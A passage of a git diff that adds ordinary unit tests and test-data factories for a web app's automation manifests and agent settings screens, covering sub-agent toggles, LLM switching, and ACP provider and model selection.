+    // Act
+    const registry = createSetupRegistry([cardOnly, createSetupEntry()]);
+
+    // Assert
+    expect(registry.entries).toHaveLength(1);
+  });
+
+  it("drops a manifest that fails admission instead of rendering part of it", () => {
+    // Arrange
+    const rejected = createSetupEntryWith({
+      setup: createSetup({ version: "2.0" as "1.0" }),
+    });
+
+    // Act
+    const registry = createSetupRegistry([rejected, createSetupEntry()]);
+
+    // Assert
+    expect(registry.entries).toHaveLength(1);
+  });
+
+  it("keeps the first claim on an id so a later manifest cannot hijack it", () => {
+    // Arrange
+    const first = createSetupEntry({ name: "First" });
+    const second = createSetupEntry({ name: "Second" });
+
+    // Act
+    const registry = createSetupRegistry([first, second]);
+
+    // Assert
+    expect(registry.findById("widget-monitor")).toBe(first);
+  });
+});
diff --git a/__tests__/manifests/manifest-test-data.ts b/__tests__/manifests/manifest-test-data.ts
new file mode 100644
index 0000000000000000000000000000000000000000..a52d0bd7d81ab1360c93a5f4e0735a14673e10d3
--- /dev/null
+++ b/__tests__/manifests/manifest-test-data.ts
@@ -0,0 +1,255 @@
+import type {
+  InterfaceManifest,
+  SetupBlock,
+  SetupEntry,
+} from "#/manifests/types";
+
+/**
+ * A minimal catalog entry the host will admit.
+ *
+ * Tests override only the part they exercise. The three published entries live
+ * in `automation-setup.test.ts`, where the derived request bodies are pinned
+ * against the contract fixtures.
+ */
+export function createSetupEntry(
+  overrides: Partial<SetupEntry> = {},
+): SetupEntry {
+  return {
+    id: "widget-monitor",
+    name: "Widget monitor",
+    description: "Watch widgets and report on them.",
+    requires: {
+      integrations: { github: { message: "Used to read widgets." } },
+    },
+    setup: createSetup(),
+    ...overrides,
+  };
+}
+
+export function createSetup(overrides: Partial<SetupBlock> = {}): SetupBlock {
+  return {
+    version: "1.0",
+    mode: "direct",
+    form: {
+      triggers: {
+        cron: {
+          schedule: {
+            type: "cron",
+            label: "Check frequency",
+            help: "How often to look.",
+            default: "*/15 * * * *",
+            required: true,
+          },
+        },
+      },
+      args: {
+        repository: {
+          type: "repo-picker",
+          label: "Repository",
+          help: "Which repository to watch.",
+          provider: "github",
+          required: true,
+        },
+        widgetName: {
+          type: "text",
+          label: "Widget name",
+          help: "What to call it.",
+          required: true,
+        },
+      },
+    },
+    prompt: "Report on {{form.widgetName}} in {{form.repository}}.",
+    ...overrides,
+  };
+}
+
+/** Build a candidate that is invalid in one specific way. */
+export function createSetupEntryWith(
+  overrides: Record<string, unknown>,
+): unknown {
+  return { ...createSetupEntry(), ...overrides };
+}
+
+/**
+ * A minimal interface manifest the host will admit. Featured ids are real
+ * catalog entries, because admission checks them against the published
+ * catalog. Tests override only the part they exercise.
+ */
+export function createInterfaceManifest(
+  overrides: Partial<InterfaceManifest> = {},
+): InterfaceManifest {
+  return {
+    version: "1.0",
+    routes: {
+      list: "/automations",
+      setup: "/automations/new/:automationId",
+      detail: "/automations/:automationId",
+    },
+    navigation: {
+      sidebar: { label: "Automate everything" },
+      commandMenu: {
+        title: "Automation center",
+        description: "Review the widget automations.",
+        keywords: "widgets cron",
+      },
+    },
+    pages: {
+      list: { title: "Widget automations", subtitle: "All of the widgets." },
+      detail: { backLabel: "Back to the widgets" },
+      edit: { title: "Edit the widget automation" },
+    },
+    docsUrl: "https://docs.openhands.dev/widgets",
+    attributes: {
+      name: { type: "text", label: "Widget name", required: true },
+      timeout: {
+        type: "number",
+        label: "Widget timeout",
+        required: false,
+        constraints: { min: 1, max: 900 },
+      },
+    },
+    // Every importExport datum differs from the host default, so a test that
+    // reads it back can tell manifest data from fallback data.
+    importExport: {
+      fileKind: "widget",
+      fileVersion: 1,
+      filenameSuffix: ".widget.json",
+      importDefaults: {
+        repoProvider: "gitlab",
+        placeholderEventSource: "widget-import",
+      },
+    },
+    endpoints: {
+      list: "/v1",
+      detail: "/v1/{id}",
+      dispatch: "/v1/{id}/dispatch",
+      runs: "/v1/{id}/runs",
+      tarball: "/v1/{id}/tarball",
+      health: "/health",
+      capabilities: "/v1/capabilities",
+      validate: "/v1/validate",
+      createPrompt: "/v1/preset/prompt",
+      createPlugin: "/v1/preset/plugin",
+    },
+    featuredAutomationIds: ["github-pr-reviewer"],
+    responderIntegrationIds: ["github"],
+    ...overrides,
+  };
+}
+
+/** Build an interface candidate that is invalid in one specific way. */
+export function createInterfaceManifestWith(
+  overrides: Record<string, unknown>,
+): unknown {
+  return { ...createInterfaceManifest(), ...overrides };
+}
+
+/**
+ * The factory manifest plus a complete sub-page surface. Like the base
+ * factory, every caption differs from the production manifest and from any
+ * host string, so a test that reads one back knows where it came from.
+ */
+export function createInterfaceManifestWithSubPages(): InterfaceManifest {
+  const base = createInterfaceManifest();
+  return {
+    ...base,
+    routes: { ...base.routes, templates: "/automations/templates" },
+    navigation: {
+      ...base.navigation,
+      subPages: [
+        { page: "list", label: "Widget dashboard", icon: "layout-dashboard" },
+        { page: "templates", label: "Widget templates", icon: "sparkles" },
+      ],
+    },
+    pages: {
+      ...base.pages,
+      list: {
+        ...base.pages.list,
+        overview: {
+          label: "Widget overview",
+          tiles: [
+            {
+              metric: "automations",
+              label: "Widget count",
+              detail: "{{active}} live",
+              icon: "bot",
+            },
+            {
+              metric: "needs-attention",
+              label: "Widget attention",
+              detail: "Broken widgets",
+              zeroDetail: "No broken widgets",
+              icon: "circle-alert",
+            },
+            {
+              metric: "total-runs",
+              label: "Widget runs",
+              detail: "Counted so far",
+              icon: "activity",
+            },
+            {
+              metric: "average-duration",
+              label: "Widget pace",
+              detail: "Recent finished runs",
+              icon: "timer",
+            },
+          ],
+        },
+        filters: [
+          {
+            id: "status",
+            label: "Filter widgets by state",
+            options: [
+              { value: "all", label: "Every state" },
+              { value: "active", label: "Live" },
+              { value: "failing", label: "Broken" },
+              { value: "disabled", label: "Off" },
+            ],
+          },
+          {
+            id: "trigger",
+            label: "Filter widgets by trigger",
+            options: [
+              { value: "all", label: "Every trigger" },
+              { value: "schedule", label: "Timed" },
+              { value: "event", label: "Evented" },
+            ],
+          },
+        ],
+        sort: {
+          label: "Order widgets",
+          default: "name",
+          options: [
+            { value: "last-run", label: "Latest" },
+            { value: "runs", label: "Busiest" },
+            { value: "name", label: "Alphabetical" },
+          ],
+        },
+        insights: {
+          health: {
+            healthy: "Fine",
+            failing: "Broken",
+            running: "Busy",
+            disabled: "Off",
+            neverRun: "Fresh",
+            checking: "Looking",
+          },
+          lastRun: {
+            label: "Last widget run",
+            never: "Not yet",
+            justNow: "Moments ago",
+          },
+          stats: {
+            runs: "Widget runs",
+            recentSuccess: "Widget wins",
+            averageDuration: "Widget pace",
+          },
+        },
+      },
+      templates: {
+        title: "Widget templates",
+        description: "Pick a proven widget to start from.",
+      },
+    },
+  };
+}
diff --git a/__tests__/routes/agent-context-settings.test.tsx b/__tests__/routes/agent-context-settings.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..db092da54fb5a4927dff49bfd0b313162f0dd091
--- /dev/null
+++ b/__tests__/routes/agent-context-settings.test.tsx
@@ -0,0 +1,133 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import AgentContextSettingsScreen from "#/routes/agent-context-settings";
+import { Settings } from "#/types/settings";
+
+function buildSettings(overrides: Partial<Settings> = {}): Settings {
+  return {
+    ...MOCK_DEFAULT_USER_SETTINGS,
+    ...overrides,
+    agent_settings: {
+      ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+      ...overrides.agent_settings,
+    },
+    agent_settings_schema:
+      overrides.agent_settings_schema ??
+      MOCK_DEFAULT_USER_SETTINGS.agent_settings_schema,
+  };
+}
+
+function renderAgentContextSettingsScreen() {
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+    },
+  });
+
+  return render(<AgentContextSettingsScreen />, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+    ),
+  });
+}
+
+beforeEach(() => {
+  vi.restoreAllMocks();
+});
+
+describe("AgentContextSettingsScreen", () => {
+  it("renders the persistent-memory toggle from the agent schema, off by default", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+
+    renderAgentContextSettingsScreen();
+
+    await screen.findByTestId("agent-context-settings-screen");
+
+    const toggle = screen.getByTestId("sdk-settings-agent_context.load_memory");
+    expect(toggle).toBeInTheDocument();
+    expect(toggle).not.toBeChecked();
+  });
+
+  it("reflects a stored agent_context.load_memory value", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_context: { load_memory: true },
+        },
+      }),
+    );
+
+    renderAgentContextSettingsScreen();
+
+    await screen.findByTestId("agent-context-settings-screen");
+
+    expect(
+      screen.getByTestId("sdk-settings-agent_context.load_memory"),
+    ).toBeChecked();
+  });
+
+  it("saves the toggle as a nested agent_settings_diff", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+    const saveSettingsSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderAgentContextSettingsScreen();
+
+    await screen.findByTestId("agent-context-settings-screen");
+    await user.click(
+      screen.getByTestId("sdk-settings-agent_context.load_memory"),
+    );
+    await user.click(screen.getByTestId("save-button"));
+
+    expect(saveSettingsSpy).toHaveBeenCalledWith(
+      expect.objectContaining({
+        agent_settings_diff: { agent_context: { load_memory: true } },
+      }),
+    );
+  });
+
+  it("shows the toggle without a dead Basic tab (major-only section)", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+
+    renderAgentContextSettingsScreen();
+
+    await screen.findByTestId("agent-context-settings-screen");
+
+    // The section's only field is major-prominence: the page floors its
+    // initial view at "advanced" and hides the view toggle entirely (a
+    // Basic tab would render an empty page).
+    expect(
+      screen.getByTestId("sdk-settings-agent_context.load_memory"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("sdk-section-basic-toggle"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the schema-unavailable state when the server does not expose the section", async () => {
+    const schemaWithoutAgentContext = structuredClone(
+      MOCK_DEFAULT_USER_SETTINGS.agent_settings_schema!,
+    );
+    schemaWithoutAgentContext.sections =
+      schemaWithoutAgentContext.sections.filter(
+        (section) => section.key !== "agent_context",
+      );
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ agent_settings_schema: schemaWithoutAgentContext }),
+    );
+
+    renderAgentContextSettingsScreen();
+
+    expect(await screen.findByTestId("sdk-schema-unavailable")).toBeVisible();
+    expect(
+      screen.queryByTestId("sdk-settings-agent_context.load_memory"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/routes/agent-settings.test.tsx b/__tests__/routes/agent-settings.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..19de58e7c795da7f0901572cf90bf72e1e3b96e4
--- /dev/null
+++ b/__tests__/routes/agent-settings.test.tsx
@@ -0,0 +1,1289 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { MemoryRouter } from "react-router";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { getAcpProvider as getClientAcpProvider } from "@openhands/typescript-client";
+import {
+  AgentSettingsScreen,
+  type AgentSettingsSaveControl,
+} from "#/routes/agent-settings";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import { SecretsService } from "#/api/secrets-service";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import { Settings } from "#/types/settings";
+
+const CLAUDE_COMMAND = getClientAcpProvider("claude-code")!.default_command;
+const CODEX_COMMAND = getClientAcpProvider("codex")!.default_command;
+
+// Stub the login-detection probe so the ACP credentials section doesn't spin a
+// subprocess; default to no detected session so existing tests are unaffected.
+const acpAuthStatusMock = vi.hoisted(() => vi.fn());
+vi.mock("#/hooks/query/use-acp-auth-status", () => ({
+  useAcpAuthStatus: (...args: unknown[]) => acpAuthStatusMock(...args),
+}));
+
+// The profile editor gates the LLM-switching toggle on the backend's *profile*
+// model, which gained the field later than the settings schema did. Stub the
+// probe so both sides of that gate are reachable without a live server.
+const profileSupportsSwitchLlmToolMock = vi.hoisted(() => vi.fn(() => true));
+vi.mock("#/api/agent-profiles-service/profile-field-support", () => ({
+  agentProfileSupportsSwitchLlmTool: () => profileSupportsSwitchLlmToolMock(),
+}));
+
+// Observe save toasts so we can assert the single Save shows one confirmation,
+// not one per persisted thing (agent spec + credentials).
+const toastMocks = vi.hoisted(() => ({
+  success: vi.fn(),
+  error: vi.fn(),
+  warning: vi.fn(),
+}));
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displaySuccessToast: toastMocks.success,
+  displayErrorToast: toastMocks.error,
+  displayWarningToast: toastMocks.warning,
+}));
+
+function buildSettings(overrides: Partial<Settings> = {}): Settings {
+  return {
+    ...MOCK_DEFAULT_USER_SETTINGS,
+    ...overrides,
+    agent_settings:
+      overrides.agent_settings ?? MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+  };
+}
+
+function renderAgentSettingsScreen(
+  props: React.ComponentProps<typeof AgentSettingsScreen> = {},
+) {
+  return render(<AgentSettingsScreen {...props} />, {
+    wrapper: ({ children }) => (
+      <MemoryRouter>
+        <QueryClientProvider
+          client={
+            new QueryClient({ defaultOptions: { queries: { retry: false } } })
+          }
+        >
+          {children}
+        </QueryClientProvider>
+      </MemoryRouter>
+    ),
+  });
+}
+
+describe("AgentSettingsScreen", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+    // The page owns the ACP credential form (single Save), so it reads/writes
+    // secrets even on non-ACP renders.
+    vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([]);
+    vi.spyOn(SecretsService, "createSecret").mockResolvedValue();
+    acpAuthStatusMock.mockReturnValue({
+      status: "unknown",
+      isChecking: false,
+      isSupported: true,
+    });
+    toastMocks.success.mockClear();
+    toastMocks.error.mockClear();
+    toastMocks.warning.mockClear();
+    profileSupportsSwitchLlmToolMock.mockReturnValue(true);
+  });
+
+  it("renders the agent type selector defaulting to OpenHands with sub-agents toggle", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+        },
+      }),
+    );
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+    expect(screen.getByTestId("agent-type-selector")).toBeInTheDocument();
+    // Sub-agents toggle visible on the OpenHands branch.
+    expect(
+      screen.getByTestId("agent-settings-enable-sub-agents"),
+    ).toBeInTheDocument();
+    // ACP-only fields stay hidden on the OpenHands branch.
+    expect(screen.queryByTestId("agent-command-input")).not.toBeInTheDocument();
+  });
+
+  it("labels the save button 'Save Changes' for consistency with other settings pages", async () => {
+    // Arrange — render with any valid settings; the label is independent
+    // of the form's state.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+        },
+      }),
+    );
+
+    // Act
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+
+    // Assert — t() is stubbed to return the key, so the rendered text is
+    // the translation key. SETTINGS$SAVE_CHANGES = "Save Changes" in
+    // public/locales/en/openhands.json; BUTTON$SAVE = "Save" (the bug).
+    expect(screen.getByTestId("agent-save-button")).toHaveTextContent(
+      "SETTINGS$SAVE_CHANGES",
+    );
+  });
+
+  it("saves enable_sub_agents when toggling on the OpenHands path", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+          enable_sub_agents: false,
+        },
+      }),
+    );
+    const save = vi.spyOn(SettingsService, "saveSettings");
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+
+    // Toggle sub-agents on via the enclosing label
+    const toggle = screen.getByTestId("agent-settings-enable-sub-agents");
+    const label = toggle.closest("label")!;
+    await user.click(label);
+
+    await user.click(screen.getByTestId("agent-save-button"));
+
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    expect(call.agent_settings_diff).toEqual({
+      agent_kind: "openhands",
+      enable_sub_agents: true,
+      enable_switch_llm_tool: true,
+      tool_concurrency_limit: 1,
+    });
+  });
+
+  it("renders the LLM-switching toggle on the OpenHands path and saves it when toggled off", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+          enable_switch_llm_tool: true,
+        },
+      }),
+    );
+    const save = vi.spyOn(SettingsService, "saveSettings");
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+
+    // The toggle renders (schema exposes the field) and starts on.
+    const toggle = screen.getByTestId("agent-settings-enable-switch-llm-tool");
+    expect(toggle).toBeChecked();
+
+    // Toggle it off via the enclosing label, then save.
+    const label = toggle.closest("label")!;
+    await user.click(label);
+    expect(toggle).not.toBeChecked();
+
+    await user.click(screen.getByTestId("agent-save-button"));
+
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    expect(call.agent_settings_diff).toEqual({
+      agent_kind: "openhands",
+      enable_sub_agents: false,
+      enable_switch_llm_tool: false,
+      tool_concurrency_limit: 1,
+    });
+  });
+
+  it("hides the LLM-switching toggle when the schema predates the field", async () => {
+    const schema = MOCK_DEFAULT_USER_SETTINGS.agent_settings_schema;
+    const schemaWithoutField = schema && {
+      ...schema,
+      sections: schema.sections.map((section) => ({
+        ...section,
+        fields: section.fields.filter(
+          (field) => field.key !== "enable_switch_llm_tool",
+        ),
+      })),
+    };
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings_schema: schemaWithoutField,
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+        },
+      }),
+    );
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+
+    // Older agent-servers without the field hide the toggle cleanly...
+    expect(
+      screen.queryByTestId("agent-settings-enable-switch-llm-tool"),
+    ).not.toBeInTheDocument();
+    // ...while the other OpenHands controls still render.
+    expect(
+      screen.getByTestId("agent-settings-enable-sub-agents"),
+    ).toBeInTheDocument();
+  });
+
+  it("hides the LLM-switching toggle in the profile editor when the profile model predates the field", async () => {
+    // agent-server 1.29.0–1.30.x advertises the field in the settings schema
+    // while `OpenHandsAgentProfile` still rejects it. Rendering the toggle
+    // there would offer a control whose save the server refuses outright.
+    profileSupportsSwitchLlmToolMock.mockReturnValue(false);
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+        },
+      }),
+    );
+
+    renderAgentSettingsScreen({
+      embedded: true,
+      agentSettingsOverride: { agent_kind: "openhands" },
+    });
+    await screen.findByTestId("agent-settings-screen");
+
+    expect(
+      screen.queryByTestId("agent-settings-enable-switch-llm-tool"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByTestId("agent-settings-enable-sub-agents"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders the LLM-switching toggle in the profile editor once the profile model carries the field", async () => {
+    profileSupportsSwitchLlmToolMock.mockReturnValue(true);
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+        },
+      }),
+    );
+
+    renderAgentSettingsScreen({
+      embedded: true,
+      agentSettingsOverride: { agent_kind: "openhands" },
+    });
+    await screen.findByTestId("agent-settings-screen");
+
+    expect(
+      screen.getByTestId("agent-settings-enable-switch-llm-tool"),
+    ).toBeInTheDocument();
+  });
+
+  it("keeps the LLM-switching toggle in non-embedded mode even when the profile model predates the field", async () => {
+    // Non-embedded, the form writes `agent_settings`, which has accepted the
+    // key since 1.22.0. The profile-model gap must not reach back and hide it.
+    // (That mode has no route today — #1571 turned /settings/agent into a
+    // redirect — but the gate should stay scoped to what it actually knows.)
+    profileSupportsSwitchLlmToolMock.mockReturnValue(false);
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+        },
+      }),
+    );
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+
+    expect(
+      screen.getByTestId("agent-settings-enable-switch-llm-tool"),
+    ).toBeInTheDocument();
+  });
+
+  it("saves tool_concurrency_limit when changed on the OpenHands path", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+          enable_sub_agents: false,
+          tool_concurrency_limit: 1,
+        },
+      }),
+    );
+    const save = vi.spyOn(SettingsService, "saveSettings");
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+
+    const input = screen.getByTestId("sdk-settings-tool_concurrency_limit");
+    await user.clear(input);
+    await user.type(input, "4");
+
+    await user.click(screen.getByTestId("agent-save-button"));
+
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    // Coerced to a number (not the raw input string) via the shared
+    // schema-driven coercion.
+    expect(call.agent_settings_diff?.tool_concurrency_limit).toBe(4);
+  });
+
+  it("hides sub-agents toggle when ACP is selected", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+        },
+      }),
+    );
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+
+    // Sub-agents toggle should be visible initially
+    expect(
+      screen.getByTestId("agent-settings-enable-sub-agents"),
+    ).toBeInTheDocument();
+
+    // Switch to ACP
+    await user.click(screen.getByTestId("agent-type-selector"));
+    await user.click(
+      await screen.findByRole("option", { name: "SETTINGS$AGENT_TYPE_ACP" }),
+    );
+
+    // Sub-agents toggle should be hidden, ACP fields should appear
+    expect(
+      screen.queryByTestId("agent-settings-enable-sub-agents"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByTestId("agent-command-input")).toBeInTheDocument();
+  });
+
+  it("shows the ACP form when the active agent_kind is acp", async () => {
+    // Use a model ID that isn't in CLAUDE_MODELS so the form falls through to
+    // the custom-input branch — that's the path this test is asserting (saved
+    // value round-trips into the visible input). Known IDs go through the
+    // dropdown instead and are covered separately.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          schema_version: 1,
+          agent_kind: "acp",
+          acp_server: "claude-code",
+          acp_command: ["npx", "-y", "@agentclientprotocol/claude-agent-acp"],
+          acp_model: "my-pinned-fork-model",
+        },
+      }),
+    );
+
+    renderAgentSettingsScreen();
+    const commandInput = (await screen.findByTestId(
+      "agent-command-input",
+    )) as HTMLTextAreaElement;
+    expect(commandInput.value).toBe(
+      "npx -y @agentclientprotocol/claude-agent-acp",
+    );
+    const modelInput = screen.getByTestId(
+      "agent-model-input",
+    ) as HTMLInputElement;
+    expect(modelInput.value).toBe("my-pinned-fork-model");
+  });
+
+  it("defaults built-in ACP providers to a suggested model when none is saved", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          schema_version: 1,
+          agent_kind: "acp",
+          acp_server: "claude-code",
+          acp_command: [],
+          acp_model: null,
+        },
+      }),
+    );
+
+    renderAgentSettingsScreen();
+
+    await screen.findByTestId("agent-command-input");
+    expect(screen.getByLabelText("SETTINGS$AGENT_MODEL")).toHaveValue(
+      "Claude Opus (1M)",
+    );
+  });
+
+  it("saves the selected built-in ACP model", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          schema_version: 1,
+          agent_kind: "acp",
+          acp_server: "claude-code",
+          acp_command: [],
+          acp_model: null,
+        },
+      }),
+    );
+    const save = vi.spyOn(SettingsService, "saveSettings");
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-command-input");
+    await user.click(screen.getByLabelText("SETTINGS$AGENT_MODEL"));
+    await user.click(await screen.findByText("Claude Haiku"));
+    await user.click(screen.getByTestId("agent-save-button"));
+
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    expect(call.agent_settings_diff?.acp_model).toBe("haiku");
+  });
+
+  it("clears the model when switching from a built-in provider to Custom", async () => {
+    // F3 from review: built-ins seed ``acp_model`` to their registered
+    // ``default_model`` on load. Picking Custom must not leak that built-in
+    // default into custom settings — otherwise a user choosing Custom from
+    // Claude Code would silently save ``acp_model: "claude-opus-4-7"`` on an
+    // unrelated wrapper.
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          schema_version: 1,
+          agent_kind: "acp",
+          acp_server: "claude-code",
+          acp_command: [],
+          acp_model: null,
+        },
+      }),
+    );
+    const save = vi.spyOn(SettingsService, "saveSettings");
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-command-input");
+    // Form loads with the Claude Code default visible.
+    expect(screen.getByLabelText("SETTINGS$AGENT_MODEL")).toHaveValue(
+      "Claude Opus (1M)",
+    );
+
+    // Switch to the Custom preset, then enter a different command — the
+    // form's ``selectedPreset`` re-derives from the command text, so the
+    // save path only treats it as Custom once the command no longer matches
+    // a built-in provider's default.
+    await user.click(screen.getByTestId("agent-preset-selector"));
+    await user.click(
+      await screen.findByRole("option", {
+        name: "SETTINGS$AGENT_PRESET_CUSTOM",
+      }),
+    );
+    const commandInput = screen.getByTestId(
+      "agent-command-input",
+    ) as HTMLTextAreaElement;
+    await user.clear(commandInput);
+    await user.type(commandInput, "my-custom-acp --flag");
+
+    await user.click(screen.getByTestId("agent-save-button"));
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    // Custom preset has no registered default — saved acp_model must be null,
+    // not the inherited Claude Opus default.
+    expect(call.agent_settings_diff?.acp_server).toBe("custom");
+    expect(call.agent_settings_diff?.acp_model).toBeNull();
+  });
+
+  it("reconciles the model when the command is retyped to a different provider", async () => {
+    // Editing the command textarea (rather than the preset dropdown) into a
+    // different built-in provider must not leave the previous provider's model
+    // selected — otherwise Save would persist e.g. ``claude-opus-4-7`` against
+    // a Codex wrapper. The detected preset changes, so the model reconciles to
+    // the new provider's default.
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          schema_version: 1,
+          agent_kind: "acp",
+          acp_server: "claude-code",
+          acp_command: [],
+          acp_model: null,
+        },
+      }),
+    );
+    const save = vi.spyOn(SettingsService, "saveSettings");
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-command-input");
+    expect(screen.getByLabelText("SETTINGS$AGENT_MODEL")).toHaveValue(
+      "Claude Opus (1M)",
+    );
+
+    const commandInput = screen.getByTestId(
+      "agent-command-input",
+    ) as HTMLTextAreaElement;
+    await user.clear(commandInput);
+    await user.type(commandInput, CODEX_COMMAND.join(" "));
+
+    // The model field now reflects the Codex default, not the stale Claude one.
+    expect(screen.getByLabelText("SETTINGS$AGENT_MODEL")).toHaveValue(
+      "GPT-5.5",
+    );
+
+    await user.click(screen.getByTestId("agent-save-button"));
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    expect(call.agent_settings_diff?.acp_server).toBe("codex");
+    expect(call.agent_settings_diff?.acp_model).toBe("gpt-5.5");
+  });
+
+  it("saves an ACP diff when switching to ACP + Claude Code", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+        },
+      }),
+    );
+    const save = vi.spyOn(SettingsService, "saveSettings");
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+
+    // Switching to ACP prefills the command from the first registered provider
+    // (Claude Code).
